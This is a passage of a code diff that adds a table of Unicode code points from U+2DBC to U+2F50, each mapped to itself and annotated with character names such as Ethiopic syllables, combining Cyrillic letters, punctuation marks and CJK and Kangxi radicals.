+ ["\u2DBC", "\u2DBC"], /* ETHIOPIC SYLLABLE CCHEE */
+ ["\u2DBD", "\u2DBD"], /* ETHIOPIC SYLLABLE CCHE */
+ ["\u2DBE", "\u2DBE"], /* ETHIOPIC SYLLABLE CCHO */
+ ["\u2DBF", "\u2DBF"],
+ ["\u2DC0", "\u2DC0"], /* ETHIOPIC SYLLABLE QYA */
+ ["\u2DC1", "\u2DC1"], /* ETHIOPIC SYLLABLE QYU */
+ ["\u2DC2", "\u2DC2"], /* ETHIOPIC SYLLABLE QYI */
+ ["\u2DC3", "\u2DC3"], /* ETHIOPIC SYLLABLE QYAA */
+ ["\u2DC4", "\u2DC4"], /* ETHIOPIC SYLLABLE QYEE */
+ ["\u2DC5", "\u2DC5"], /* ETHIOPIC SYLLABLE QYE */
+ ["\u2DC6", "\u2DC6"], /* ETHIOPIC SYLLABLE QYO */
+ ["\u2DC7", "\u2DC7"],
+ ["\u2DC8", "\u2DC8"], /* ETHIOPIC SYLLABLE KYA */
+ ["\u2DC9", "\u2DC9"], /* ETHIOPIC SYLLABLE KYU */
+ ["\u2DCA", "\u2DCA"], /* ETHIOPIC SYLLABLE KYI */
+ ["\u2DCB", "\u2DCB"], /* ETHIOPIC SYLLABLE KYAA */
+ ["\u2DCC", "\u2DCC"], /* ETHIOPIC SYLLABLE KYEE */
+ ["\u2DCD", "\u2DCD"], /* ETHIOPIC SYLLABLE KYE */
+ ["\u2DCE", "\u2DCE"], /* ETHIOPIC SYLLABLE KYO */
+ ["\u2DCF", "\u2DCF"],
+ ["\u2DD0", "\u2DD0"], /* ETHIOPIC SYLLABLE XYA */
+ ["\u2DD1", "\u2DD1"], /* ETHIOPIC SYLLABLE XYU */
+ ["\u2DD2", "\u2DD2"], /* ETHIOPIC SYLLABLE XYI */
+ ["\u2DD3", "\u2DD3"], /* ETHIOPIC SYLLABLE XYAA */
+ ["\u2DD4", "\u2DD4"], /* ETHIOPIC SYLLABLE XYEE */
+ ["\u2DD5", "\u2DD5"], /* ETHIOPIC SYLLABLE XYE */
+ ["\u2DD6", "\u2DD6"], /* ETHIOPIC SYLLABLE XYO */
+ ["\u2DD7", "\u2DD7"],
+ ["\u2DD8", "\u2DD8"], /* ETHIOPIC SYLLABLE GYA */
+ ["\u2DD9", "\u2DD9"], /* ETHIOPIC SYLLABLE GYU */
+ ["\u2DDA", "\u2DDA"], /* ETHIOPIC SYLLABLE GYI */
+ ["\u2DDB", "\u2DDB"], /* ETHIOPIC SYLLABLE GYAA */
+ ["\u2DDC", "\u2DDC"], /* ETHIOPIC SYLLABLE GYEE */
+ ["\u2DDD", "\u2DDD"], /* ETHIOPIC SYLLABLE GYE */
+ ["\u2DDE", "\u2DDE"], /* ETHIOPIC SYLLABLE GYO */
+ ["\u2DDF", "\u2DDF"],
+ ["\u2DE0", "\u2DE0"], /* COMBINING CYRILLIC LETTER BE */
+ ["\u2DE1", "\u2DE1"], /* COMBINING CYRILLIC LETTER VE */
+ ["\u2DE2", "\u2DE2"], /* COMBINING CYRILLIC LETTER GHE */
+ ["\u2DE3", "\u2DE3"], /* COMBINING CYRILLIC LETTER DE */
+ ["\u2DE4", "\u2DE4"], /* COMBINING CYRILLIC LETTER ZHE */
+ ["\u2DE5", "\u2DE5"], /* COMBINING CYRILLIC LETTER ZE */
+ ["\u2DE6", "\u2DE6"], /* COMBINING CYRILLIC LETTER KA */
+ ["\u2DE7", "\u2DE7"], /* COMBINING CYRILLIC LETTER EL */
+ ["\u2DE8", "\u2DE8"], /* COMBINING CYRILLIC LETTER EM */
+ ["\u2DE9", "\u2DE9"], /* COMBINING CYRILLIC LETTER EN */
+ ["\u2DEA", "\u2DEA"], /* COMBINING CYRILLIC LETTER O */
+ ["\u2DEB", "\u2DEB"], /* COMBINING CYRILLIC LETTER PE */
+ ["\u2DEC", "\u2DEC"], /* COMBINING CYRILLIC LETTER ER */
+ ["\u2DED", "\u2DED"], /* COMBINING CYRILLIC LETTER ES */
+ ["\u2DEE", "\u2DEE"], /* COMBINING CYRILLIC LETTER TE */
+ ["\u2DEF", "\u2DEF"], /* COMBINING CYRILLIC LETTER HA */
+ ["\u2DF0", "\u2DF0"], /* COMBINING CYRILLIC LETTER TSE */
+ ["\u2DF1", "\u2DF1"], /* COMBINING CYRILLIC LETTER CHE */
+ ["\u2DF2", "\u2DF2"], /* COMBINING CYRILLIC LETTER SHA */
+ ["\u2DF3", "\u2DF3"], /* COMBINING CYRILLIC LETTER SHCHA */
+ ["\u2DF4", "\u2DF4"], /* COMBINING CYRILLIC LETTER FITA */
+ ["\u2DF5", "\u2DF5"], /* COMBINING CYRILLIC LETTER ES-TE */
+ ["\u2DF6", "\u2DF6"], /* COMBINING CYRILLIC LETTER A */
+ ["\u2DF7", "\u2DF7"], /* COMBINING CYRILLIC LETTER IE */
+ ["\u2DF8", "\u2DF8"], /* COMBINING CYRILLIC LETTER DJERV */
+ ["\u2DF9", "\u2DF9"], /* COMBINING CYRILLIC LETTER MONOGRAPH UK */
+ ["\u2DFA", "\u2DFA"], /* COMBINING CYRILLIC LETTER YAT */
+ ["\u2DFB", "\u2DFB"], /* COMBINING CYRILLIC LETTER YU */
+ ["\u2DFC", "\u2DFC"], /* COMBINING CYRILLIC LETTER IOTIFIED A */
+ ["\u2DFD", "\u2DFD"], /* COMBINING CYRILLIC LETTER LITTLE YUS */
+ ["\u2DFE", "\u2DFE"], /* COMBINING CYRILLIC LETTER BIG YUS */
+ ["\u2DFF", "\u2DFF"], /* COMBINING CYRILLIC LETTER IOTIFIED BIG YUS */
+ ["\u2E00", "\u2E00"], /* RIGHT ANGLE SUBSTITUTION MARKER */
+ ["\u2E01", "\u2E01"], /* RIGHT ANGLE DOTTED SUBSTITUTION MARKER */
+ ["\u2E02", "\u2E02"], /* LEFT SUBSTITUTION BRACKET */
+ ["\u2E03", "\u2E03"], /* RIGHT SUBSTITUTION BRACKET */
+ ["\u2E04", "\u2E04"], /* LEFT DOTTED SUBSTITUTION BRACKET */
+ ["\u2E05", "\u2E05"], /* RIGHT DOTTED SUBSTITUTION BRACKET */
+ ["\u2E06", "\u2E06"], /* RAISED INTERPOLATION MARKER */
+ ["\u2E07", "\u2E07"], /* RAISED DOTTED INTERPOLATION MARKER */
+ ["\u2E08", "\u2E08"], /* DOTTED TRANSPOSITION MARKER */
+ ["\u2E09", "\u2E09"], /* LEFT TRANSPOSITION BRACKET */
+ ["\u2E0A", "\u2E0A"], /* RIGHT TRANSPOSITION BRACKET */
+ ["\u2E0B", "\u2E0B"], /* RAISED SQUARE */
+ ["\u2E0C", "\u2E0C"], /* LEFT RAISED OMISSION BRACKET */
+ ["\u2E0D", "\u2E0D"], /* RIGHT RAISED OMISSION BRACKET */
+ ["\u2E0E", "\u2E0E"], /* EDITORIAL CORONIS */
+ ["\u2E0F", "\u2E0F"], /* PARAGRAPHOS */
+ ["\u2E10", "\u2E10"], /* FORKED PARAGRAPHOS */
+ ["\u2E11", "\u2E11"], /* REVERSED FORKED PARAGRAPHOS */
+ ["\u2E12", "\u2E12"], /* HYPODIASTOLE */
+ ["\u2E13", "\u2E13"], /* DOTTED OBELOS */
+ ["\u2E14", "\u2E14"], /* DOWNWARDS ANCORA */
+ ["\u2E15", "\u2E15"], /* UPWARDS ANCORA */
+ ["\u2E16", "\u2E16"], /* DOTTED RIGHT-POINTING ANGLE */
+ ["\u2E17", "\u2E17"], /* DOUBLE OBLIQUE HYPHEN */
+ ["\u2E18", "\u2E18"], /* INVERTED INTERROBANG */
+ ["\u2E19", "\u2E19"], /* PALM BRANCH */
+ ["\u2E1A", "\u2E1A"], /* HYPHEN WITH DIAERESIS */
+ ["\u2E1B", "\u2E1B"], /* TILDE WITH RING ABOVE */
+ ["\u2E1C", "\u2E1C"], /* LEFT LOW PARAPHRASE BRACKET */
+ ["\u2E1D", "\u2E1D"], /* RIGHT LOW PARAPHRASE BRACKET */
+ ["\u2E1E", "\u2E1E"], /* TILDE WITH DOT ABOVE */
+ ["\u2E1F", "\u2E1F"], /* TILDE WITH DOT BELOW */
+ ["\u2E20", "\u2E20"], /* LEFT VERTICAL BAR WITH QUILL */
+ ["\u2E21", "\u2E21"], /* RIGHT VERTICAL BAR WITH QUILL */
+ ["\u2E22", "\u2E22"], /* TOP LEFT HALF BRACKET */
+ ["\u2E23", "\u2E23"], /* TOP RIGHT HALF BRACKET */
+ ["\u2E24", "\u2E24"], /* BOTTOM LEFT HALF BRACKET */
+ ["\u2E25", "\u2E25"], /* BOTTOM RIGHT HALF BRACKET */
+ ["\u2E26", "\u2E26"], /* LEFT SIDEWAYS U BRACKET */
+ ["\u2E27", "\u2E27"], /* RIGHT SIDEWAYS U BRACKET */
+ ["\u2E28", "\u2E28"], /* LEFT DOUBLE PARENTHESIS */
+ ["\u2E29", "\u2E29"], /* RIGHT DOUBLE PARENTHESIS */
+ ["\u2E2A", "\u2E2A"], /* TWO DOTS OVER ONE DOT PUNCTUATION */
+ ["\u2E2B", "\u2E2B"], /* ONE DOT OVER TWO DOTS PUNCTUATION */
+ ["\u2E2C", "\u2E2C"], /* SQUARED FOUR DOT PUNCTUATION */
+ ["\u2E2D", "\u2E2D"], /* FIVE DOT MARK */
+ ["\u2E2E", "\u2E2E"], /* REVERSED QUESTION MARK */
+ ["\u2E2F", "\u2E2F"], /* VERTICAL TILDE */
+ ["\u2E30", "\u2E30"], /* RING POINT */
+ ["\u2E31", "\u2E31"], /* WORD SEPARATOR MIDDLE DOT */
+ ["\u2E32", "\u2E32"], /* TURNED COMMA */
+ ["\u2E33", "\u2E33"], /* RAISED DOT */
+ ["\u2E34", "\u2E34"], /* RAISED COMMA */
+ ["\u2E35", "\u2E35"], /* TURNED SEMICOLON */
+ ["\u2E36", "\u2E36"], /* DAGGER WITH LEFT GUARD */
+ ["\u2E37", "\u2E37"], /* DAGGER WITH RIGHT GUARD */
+ ["\u2E38", "\u2E38"], /* TURNED DAGGER */
+ ["\u2E39", "\u2E39"], /* TOP HALF SECTION SIGN */
+ ["\u2E3A", "\u2E3A"], /* TWO-EM DASH */
+ ["\u2E3B", "\u2E3B"], /* THREE-EM DASH */
+ ["\u2E3C", "\u2E3C"], /* STENOGRAPHIC FULL STOP */
+ ["\u2E3D", "\u2E3D"], /* VERTICAL SIX DOTS */
+ ["\u2E3E", "\u2E3E"], /* WIGGLY VERTICAL LINE */
+ ["\u2E3F", "\u2E3F"], /* CAPITULUM */
+ ["\u2E40", "\u2E40"], /* DOUBLE HYPHEN */
+ ["\u2E41", "\u2E41"], /* REVERSED COMMA */
+ ["\u2E42", "\u2E42"], /* DOUBLE LOW-REVERSED-9 QUOTATION MARK */
+ ["\u2E43", "\u2E43"], /* DASH WITH LEFT UPTURN */
+ ["\u2E44", "\u2E44"], /* DOUBLE SUSPENSION MARK */
+ ["\u2E45", "\u2E45"], /* INVERTED LOW KAVYKA */
+ ["\u2E46", "\u2E46"], /* INVERTED LOW KAVYKA WITH KAVYKA ABOVE */
+ ["\u2E47", "\u2E47"], /* LOW KAVYKA */
+ ["\u2E48", "\u2E48"], /* LOW KAVYKA WITH DOT */
+ ["\u2E49", "\u2E49"], /* DOUBLE STACKED COMMA */
+ ["\u2E4A", "\u2E4A"], /* DOTTED SOLIDUS */
+ ["\u2E4B", "\u2E4B"], /* TRIPLE DAGGER */
+ ["\u2E4C", "\u2E4C"], /* MEDIEVAL COMMA */
+ ["\u2E4D", "\u2E4D"], /* PARAGRAPHUS MARK */
+ ["\u2E4E", "\u2E4E"], /* PUNCTUS ELEVATUS MARK */
+ ["\u2E4F", "\u2E4F"], /* CORNISH VERSE DIVIDER */
+ ["\u2E50", "\u2E50"], /* CROSS PATTY WITH RIGHT CROSSBAR */
+ ["\u2E51", "\u2E51"], /* CROSS PATTY WITH LEFT CROSSBAR */
+ ["\u2E52", "\u2E52"], /* TIRONIAN SIGN CAPITAL ET */
+ ["\u2E53", "\u2E53"], /* MEDIEVAL EXCLAMATION MARK */
+ ["\u2E54", "\u2E54"], /* MEDIEVAL QUESTION MARK */
+ ["\u2E55", "\u2E55"], /* LEFT SQUARE BRACKET WITH STROKE */
+ ["\u2E56", "\u2E56"], /* RIGHT SQUARE BRACKET WITH STROKE */
+ ["\u2E57", "\u2E57"], /* LEFT SQUARE BRACKET WITH DOUBLE STROKE */
+ ["\u2E58", "\u2E58"], /* RIGHT SQUARE BRACKET WITH DOUBLE STROKE */
+ ["\u2E59", "\u2E59"], /* TOP HALF LEFT PARENTHESIS */
+ ["\u2E5A", "\u2E5A"], /* TOP HALF RIGHT PARENTHESIS */
+ ["\u2E5B", "\u2E5B"], /* BOTTOM HALF LEFT PARENTHESIS */
+ ["\u2E5C", "\u2E5C"], /* BOTTOM HALF RIGHT PARENTHESIS */
+ ["\u2E5D", "\u2E5D"], /* OBLIQUE HYPHEN */
+ ["\u2E5E", "\u2E5E"],
+ ["\u2E5F", "\u2E5F"],
+ ["\u2E60", "\u2E60"],
+ ["\u2E61", "\u2E61"],
+ ["\u2E62", "\u2E62"],
+ ["\u2E63", "\u2E63"],
+ ["\u2E64", "\u2E64"],
+ ["\u2E65", "\u2E65"],
+ ["\u2E66", "\u2E66"],
+ ["\u2E67", "\u2E67"],
+ ["\u2E68", "\u2E68"],
+ ["\u2E69", "\u2E69"],
+ ["\u2E6A", "\u2E6A"],
+ ["\u2E6B", "\u2E6B"],
+ ["\u2E6C", "\u2E6C"],
+ ["\u2E6D", "\u2E6D"],
+ ["\u2E6E", "\u2E6E"],
+ ["\u2E6F", "\u2E6F"],
+ ["\u2E70", "\u2E70"],
+ ["\u2E71", "\u2E71"],
+ ["\u2E72", "\u2E72"],
+ ["\u2E73", "\u2E73"],
+ ["\u2E74", "\u2E74"],
+ ["\u2E75", "\u2E75"],
+ ["\u2E76", "\u2E76"],
+ ["\u2E77", "\u2E77"],
+ ["\u2E78", "\u2E78"],
+ ["\u2E79", "\u2E79"],
+ ["\u2E7A", "\u2E7A"],
+ ["\u2E7B", "\u2E7B"],
+ ["\u2E7C", "\u2E7C"],
+ ["\u2E7D", "\u2E7D"],
+ ["\u2E7E", "\u2E7E"],
+ ["\u2E7F", "\u2E7F"],
+ ["\u2E80", "\u2E80"], /* CJK RADICAL REPEAT */
+ ["\u2E81", "\u2E81"], /* CJK RADICAL CLIFF */
+ ["\u2E82", "\u2E82"], /* CJK RADICAL SECOND ONE */
+ ["\u2E83", "\u2E83"], /* CJK RADICAL SECOND TWO */
+ ["\u2E84", "\u2E84"], /* CJK RADICAL SECOND THREE */
+ ["\u2E85", "\u2E85"], /* CJK RADICAL PERSON */
+ ["\u2E86", "\u2E86"], /* CJK RADICAL BOX */
+ ["\u2E87", "\u2E87"], /* CJK RADICAL TABLE */
+ ["\u2E88", "\u2E88"], /* CJK RADICAL KNIFE ONE */
+ ["\u2E89", "\u2E89"], /* CJK RADICAL KNIFE TWO */
+ ["\u2E8A", "\u2E8A"], /* CJK RADICAL DIVINATION */
+ ["\u2E8B", "\u2E8B"], /* CJK RADICAL SEAL */
+ ["\u2E8C", "\u2E8C"], /* CJK RADICAL SMALL ONE */
+ ["\u2E8D", "\u2E8D"], /* CJK RADICAL SMALL TWO */
+ ["\u2E8E", "\u2E8E"], /* CJK RADICAL LAME ONE */
+ ["\u2E8F", "\u2E8F"], /* CJK RADICAL LAME TWO */
+ ["\u2E90", "\u2E90"], /* CJK RADICAL LAME THREE */
+ ["\u2E91", "\u2E91"], /* CJK RADICAL LAME FOUR */
+ ["\u2E92", "\u2E92"], /* CJK RADICAL SNAKE */
+ ["\u2E93", "\u2E93"], /* CJK RADICAL THREAD */
+ ["\u2E94", "\u2E94"], /* CJK RADICAL SNOUT ONE */
+ ["\u2E95", "\u2E95"], /* CJK RADICAL SNOUT TWO */
+ ["\u2E96", "\u2E96"], /* CJK RADICAL HEART ONE */
+ ["\u2E97", "\u2E97"], /* CJK RADICAL HEART TWO */
+ ["\u2E98", "\u2E98"], /* CJK RADICAL HAND */
+ ["\u2E99", "\u2E99"], /* CJK RADICAL RAP */
+ ["\u2E9A", "\u2E9A"],
+ ["\u2E9B", "\u2E9B"], /* CJK RADICAL CHOKE */
+ ["\u2E9C", "\u2E9C"], /* CJK RADICAL SUN */
+ ["\u2E9D", "\u2E9D"], /* CJK RADICAL MOON */
+ ["\u2E9E", "\u2E9E"], /* CJK RADICAL DEATH */
+ ["\u2E9F", "\u2E9F"], /* CJK RADICAL MOTHER */
+ ["\u2EA0", "\u2EA0"], /* CJK RADICAL CIVILIAN */
+ ["\u2EA1", "\u2EA1"], /* CJK RADICAL WATER ONE */
+ ["\u2EA2", "\u2EA2"], /* CJK RADICAL WATER TWO */
+ ["\u2EA3", "\u2EA3"], /* CJK RADICAL FIRE */
+ ["\u2EA4", "\u2EA4"], /* CJK RADICAL PAW ONE */
+ ["\u2EA5", "\u2EA5"], /* CJK RADICAL PAW TWO */
+ ["\u2EA6", "\u2EA6"], /* CJK RADICAL SIMPLIFIED HALF TREE TRUNK */
+ ["\u2EA7", "\u2EA7"], /* CJK RADICAL COW */
+ ["\u2EA8", "\u2EA8"], /* CJK RADICAL DOG */
+ ["\u2EA9", "\u2EA9"], /* CJK RADICAL JADE */
+ ["\u2EAA", "\u2EAA"], /* CJK RADICAL BOLT OF CLOTH */
+ ["\u2EAB", "\u2EAB"], /* CJK RADICAL EYE */
+ ["\u2EAC", "\u2EAC"], /* CJK RADICAL SPIRIT ONE */
+ ["\u2EAD", "\u2EAD"], /* CJK RADICAL SPIRIT TWO */
+ ["\u2EAE", "\u2EAE"], /* CJK RADICAL BAMBOO */
+ ["\u2EAF", "\u2EAF"], /* CJK RADICAL SILK */
+ ["\u2EB0", "\u2EB0"], /* CJK RADICAL C-SIMPLIFIED SILK */
+ ["\u2EB1", "\u2EB1"], /* CJK RADICAL NET ONE */
+ ["\u2EB2", "\u2EB2"], /* CJK RADICAL NET TWO */
+ ["\u2EB3", "\u2EB3"], /* CJK RADICAL NET THREE */
+ ["\u2EB4", "\u2EB4"], /* CJK RADICAL NET FOUR */
+ ["\u2EB5", "\u2EB5"], /* CJK RADICAL MESH */
+ ["\u2EB6", "\u2EB6"], /* CJK RADICAL SHEEP */
+ ["\u2EB7", "\u2EB7"], /* CJK RADICAL RAM */
+ ["\u2EB8", "\u2EB8"], /* CJK RADICAL EWE */
+ ["\u2EB9", "\u2EB9"], /* CJK RADICAL OLD */
+ ["\u2EBA", "\u2EBA"], /* CJK RADICAL BRUSH ONE */
+ ["\u2EBB", "\u2EBB"], /* CJK RADICAL BRUSH TWO */
+ ["\u2EBC", "\u2EBC"], /* CJK RADICAL MEAT */
+ ["\u2EBD", "\u2EBD"], /* CJK RADICAL MORTAR */
+ ["\u2EBE", "\u2EBE"], /* CJK RADICAL GRASS ONE */
+ ["\u2EBF", "\u2EBF"], /* CJK RADICAL GRASS TWO */
+ ["\u2EC0", "\u2EC0"], /* CJK RADICAL GRASS THREE */
+ ["\u2EC1", "\u2EC1"], /* CJK RADICAL TIGER */
+ ["\u2EC2", "\u2EC2"], /* CJK RADICAL CLOTHES */
+ ["\u2EC3", "\u2EC3"], /* CJK RADICAL WEST ONE */
+ ["\u2EC4", "\u2EC4"], /* CJK RADICAL WEST TWO */
+ ["\u2EC5", "\u2EC5"], /* CJK RADICAL C-SIMPLIFIED SEE */
+ ["\u2EC6", "\u2EC6"], /* CJK RADICAL SIMPLIFIED HORN */
+ ["\u2EC7", "\u2EC7"], /* CJK RADICAL HORN */
+ ["\u2EC8", "\u2EC8"], /* CJK RADICAL C-SIMPLIFIED SPEECH */
+ ["\u2EC9", "\u2EC9"], /* CJK RADICAL C-SIMPLIFIED SHELL */
+ ["\u2ECA", "\u2ECA"], /* CJK RADICAL FOOT */
+ ["\u2ECB", "\u2ECB"], /* CJK RADICAL C-SIMPLIFIED CART */
+ ["\u2ECC", "\u2ECC"], /* CJK RADICAL SIMPLIFIED WALK */
+ ["\u2ECD", "\u2ECD"], /* CJK RADICAL WALK ONE */
+ ["\u2ECE", "\u2ECE"], /* CJK RADICAL WALK TWO */
+ ["\u2ECF", "\u2ECF"], /* CJK RADICAL CITY */
+ ["\u2ED0", "\u2ED0"], /* CJK RADICAL C-SIMPLIFIED GOLD */
+ ["\u2ED1", "\u2ED1"], /* CJK RADICAL LONG ONE */
+ ["\u2ED2", "\u2ED2"], /* CJK RADICAL LONG TWO */
+ ["\u2ED3", "\u2ED3"], /* CJK RADICAL C-SIMPLIFIED LONG */
+ ["\u2ED4", "\u2ED4"], /* CJK RADICAL C-SIMPLIFIED GATE */
+ ["\u2ED5", "\u2ED5"], /* CJK RADICAL MOUND ONE */
+ ["\u2ED6", "\u2ED6"], /* CJK RADICAL MOUND TWO */
+ ["\u2ED7", "\u2ED7"], /* CJK RADICAL RAIN */
+ ["\u2ED8", "\u2ED8"], /* CJK RADICAL BLUE */
+ ["\u2ED9", "\u2ED9"], /* CJK RADICAL C-SIMPLIFIED TANNED LEATHER */
+ ["\u2EDA", "\u2EDA"], /* CJK RADICAL C-SIMPLIFIED LEAF */
+ ["\u2EDB", "\u2EDB"], /* CJK RADICAL C-SIMPLIFIED WIND */
+ ["\u2EDC", "\u2EDC"], /* CJK RADICAL C-SIMPLIFIED FLY */
+ ["\u2EDD", "\u2EDD"], /* CJK RADICAL EAT ONE */
+ ["\u2EDE", "\u2EDE"], /* CJK RADICAL EAT TWO */
+ ["\u2EDF", "\u2EDF"], /* CJK RADICAL EAT THREE */
+ ["\u2EE0", "\u2EE0"], /* CJK RADICAL C-SIMPLIFIED EAT */
+ ["\u2EE1", "\u2EE1"], /* CJK RADICAL HEAD */
+ ["\u2EE2", "\u2EE2"], /* CJK RADICAL C-SIMPLIFIED HORSE */
+ ["\u2EE3", "\u2EE3"], /* CJK RADICAL BONE */
+ ["\u2EE4", "\u2EE4"], /* CJK RADICAL GHOST */
+ ["\u2EE5", "\u2EE5"], /* CJK RADICAL C-SIMPLIFIED FISH */
+ ["\u2EE6", "\u2EE6"], /* CJK RADICAL C-SIMPLIFIED BIRD */
+ ["\u2EE7", "\u2EE7"], /* CJK RADICAL C-SIMPLIFIED SALT */
+ ["\u2EE8", "\u2EE8"], /* CJK RADICAL SIMPLIFIED WHEAT */
+ ["\u2EE9", "\u2EE9"], /* CJK RADICAL SIMPLIFIED YELLOW */
+ ["\u2EEA", "\u2EEA"], /* CJK RADICAL C-SIMPLIFIED FROG */
+ ["\u2EEB", "\u2EEB"], /* CJK RADICAL J-SIMPLIFIED EVEN */
+ ["\u2EEC", "\u2EEC"], /* CJK RADICAL C-SIMPLIFIED EVEN */
+ ["\u2EED", "\u2EED"], /* CJK RADICAL J-SIMPLIFIED TOOTH */
+ ["\u2EEE", "\u2EEE"], /* CJK RADICAL C-SIMPLIFIED TOOTH */
+ ["\u2EEF", "\u2EEF"], /* CJK RADICAL J-SIMPLIFIED DRAGON */
+ ["\u2EF0", "\u2EF0"], /* CJK RADICAL C-SIMPLIFIED DRAGON */
+ ["\u2EF1", "\u2EF1"], /* CJK RADICAL TURTLE */
+ ["\u2EF2", "\u2EF2"], /* CJK RADICAL J-SIMPLIFIED TURTLE */
+ ["\u2EF3", "\u2EF3"], /* CJK RADICAL C-SIMPLIFIED TURTLE */
+ ["\u2EF4", "\u2EF4"],
+ ["\u2EF5", "\u2EF5"],
+ ["\u2EF6", "\u2EF6"],
+ ["\u2EF7", "\u2EF7"],
+ ["\u2EF8", "\u2EF8"],
+ ["\u2EF9", "\u2EF9"],
+ ["\u2EFA", "\u2EFA"],
+ ["\u2EFB", "\u2EFB"],
+ ["\u2EFC", "\u2EFC"],
+ ["\u2EFD", "\u2EFD"],
+ ["\u2EFE", "\u2EFE"],
+ ["\u2EFF", "\u2EFF"],
+ ["\u2F00", "\u2F00"], /* KANGXI RADICAL ONE */
+ ["\u2F01", "\u2F01"], /* KANGXI RADICAL LINE */
+ ["\u2F02", "\u2F02"], /* KANGXI RADICAL DOT */
+ ["\u2F03", "\u2F03"], /* KANGXI RADICAL SLASH */
+ ["\u2F04", "\u2F04"], /* KANGXI RADICAL SECOND */
+ ["\u2F05", "\u2F05"], /* KANGXI RADICAL HOOK */
+ ["\u2F06", "\u2F06"], /* KANGXI RADICAL TWO */
+ ["\u2F07", "\u2F07"], /* KANGXI RADICAL LID */
+ ["\u2F08", "\u2F08"], /* KANGXI RADICAL MAN */
+ ["\u2F09", "\u2F09"], /* KANGXI RADICAL LEGS */
+ ["\u2F0A", "\u2F0A"], /* KANGXI RADICAL ENTER */
+ ["\u2F0B", "\u2F0B"], /* KANGXI RADICAL EIGHT */
+ ["\u2F0C", "\u2F0C"], /* KANGXI RADICAL DOWN BOX */
+ ["\u2F0D", "\u2F0D"], /* KANGXI RADICAL COVER */
+ ["\u2F0E", "\u2F0E"], /* KANGXI RADICAL ICE */
+ ["\u2F0F", "\u2F0F"], /* KANGXI RADICAL TABLE */
+ ["\u2F10", "\u2F10"], /* KANGXI RADICAL OPEN BOX */
+ ["\u2F11", "\u2F11"], /* KANGXI RADICAL KNIFE */
+ ["\u2F12", "\u2F12"], /* KANGXI RADICAL POWER */
+ ["\u2F13", "\u2F13"], /* KANGXI RADICAL WRAP */
+ ["\u2F14", "\u2F14"], /* KANGXI RADICAL SPOON */
+ ["\u2F15", "\u2F15"], /* KANGXI RADICAL RIGHT OPEN BOX */
+ ["\u2F16", "\u2F16"], /* KANGXI RADICAL HIDING ENCLOSURE */
+ ["\u2F17", "\u2F17"], /* KANGXI RADICAL TEN */
+ ["\u2F18", "\u2F18"], /* KANGXI RADICAL DIVINATION */
+ ["\u2F19", "\u2F19"], /* KANGXI RADICAL SEAL */
+ ["\u2F1A", "\u2F1A"], /* KANGXI RADICAL CLIFF */
+ ["\u2F1B", "\u2F1B"], /* KANGXI RADICAL PRIVATE */
+ ["\u2F1C", "\u2F1C"], /* KANGXI RADICAL AGAIN */
+ ["\u2F1D", "\u2F1D"], /* KANGXI RADICAL MOUTH */
+ ["\u2F1E", "\u2F1E"], /* KANGXI RADICAL ENCLOSURE */
+ ["\u2F1F", "\u2F1F"], /* KANGXI RADICAL EARTH */
+ ["\u2F20", "\u2F20"], /* KANGXI RADICAL SCHOLAR */
+ ["\u2F21", "\u2F21"], /* KANGXI RADICAL GO */
+ ["\u2F22", "\u2F22"], /* KANGXI RADICAL GO SLOWLY */
+ ["\u2F23", "\u2F23"], /* KANGXI RADICAL EVENING */
+ ["\u2F24", "\u2F24"], /* KANGXI RADICAL BIG */
+ ["\u2F25", "\u2F25"], /* KANGXI RADICAL WOMAN */
+ ["\u2F26", "\u2F26"], /* KANGXI RADICAL CHILD */
+ ["\u2F27", "\u2F27"], /* KANGXI RADICAL ROOF */
+ ["\u2F28", "\u2F28"], /* KANGXI RADICAL INCH */
+ ["\u2F29", "\u2F29"], /* KANGXI RADICAL SMALL */
+ ["\u2F2A", "\u2F2A"], /* KANGXI RADICAL LAME */
+ ["\u2F2B", "\u2F2B"], /* KANGXI RADICAL CORPSE */
+ ["\u2F2C", "\u2F2C"], /* KANGXI RADICAL SPROUT */
+ ["\u2F2D", "\u2F2D"], /* KANGXI RADICAL MOUNTAIN */
+ ["\u2F2E", "\u2F2E"], /* KANGXI RADICAL RIVER */
+ ["\u2F2F", "\u2F2F"], /* KANGXI RADICAL WORK */
+ ["\u2F30", "\u2F30"], /* KANGXI RADICAL ONESELF */
+ ["\u2F31", "\u2F31"], /* KANGXI RADICAL TURBAN */
+ ["\u2F32", "\u2F32"], /* KANGXI RADICAL DRY */
+ ["\u2F33", "\u2F33"], /* KANGXI RADICAL SHORT THREAD */
+ ["\u2F34", "\u2F34"], /* KANGXI RADICAL DOTTED CLIFF */
+ ["\u2F35", "\u2F35"], /* KANGXI RADICAL LONG STRIDE */
+ ["\u2F36", "\u2F36"], /* KANGXI RADICAL TWO HANDS */
+ ["\u2F37", "\u2F37"], /* KANGXI RADICAL SHOOT */
+ ["\u2F38", "\u2F38"], /* KANGXI RADICAL BOW */
+ ["\u2F39", "\u2F39"], /* KANGXI RADICAL SNOUT */
+ ["\u2F3A", "\u2F3A"], /* KANGXI RADICAL BRISTLE */
+ ["\u2F3B", "\u2F3B"], /* KANGXI RADICAL STEP */
+ ["\u2F3C", "\u2F3C"], /* KANGXI RADICAL HEART */
+ ["\u2F3D", "\u2F3D"], /* KANGXI RADICAL HALBERD */
+ ["\u2F3E", "\u2F3E"], /* KANGXI RADICAL DOOR */
+ ["\u2F3F", "\u2F3F"], /* KANGXI RADICAL HAND */
+ ["\u2F40", "\u2F40"], /* KANGXI RADICAL BRANCH */
+ ["\u2F41", "\u2F41"], /* KANGXI RADICAL RAP */
+ ["\u2F42", "\u2F42"], /* KANGXI RADICAL SCRIPT */
+ ["\u2F43", "\u2F43"], /* KANGXI RADICAL DIPPER */
+ ["\u2F44", "\u2F44"], /* KANGXI RADICAL AXE */
+ ["\u2F45", "\u2F45"], /* KANGXI RADICAL SQUARE */
+ ["\u2F46", "\u2F46"], /* KANGXI RADICAL NOT */
+ ["\u2F47", "\u2F47"], /* KANGXI RADICAL SUN */
+ ["\u2F48", "\u2F48"], /* KANGXI RADICAL SAY */
+ ["\u2F49", "\u2F49"], /* KANGXI RADICAL MOON */
+ ["\u2F4A", "\u2F4A"], /* KANGXI RADICAL TREE */
+ ["\u2F4B", "\u2F4B"], /* KANGXI RADICAL LACK */
+ ["\u2F4C", "\u2F4C"], /* KANGXI RADICAL STOP */
+ ["\u2F4D", "\u2F4D"], /* KANGXI RADICAL DEATH */
+ ["\u2F4E", "\u2F4E"], /* KANGXI RADICAL WEAPON */
+ ["\u2F4F", "\u2F4F"], /* KANGXI RADICAL DO NOT */
+ ["\u2F50", "\u2F50"], /* KANGXI RADICAL COMPARE */
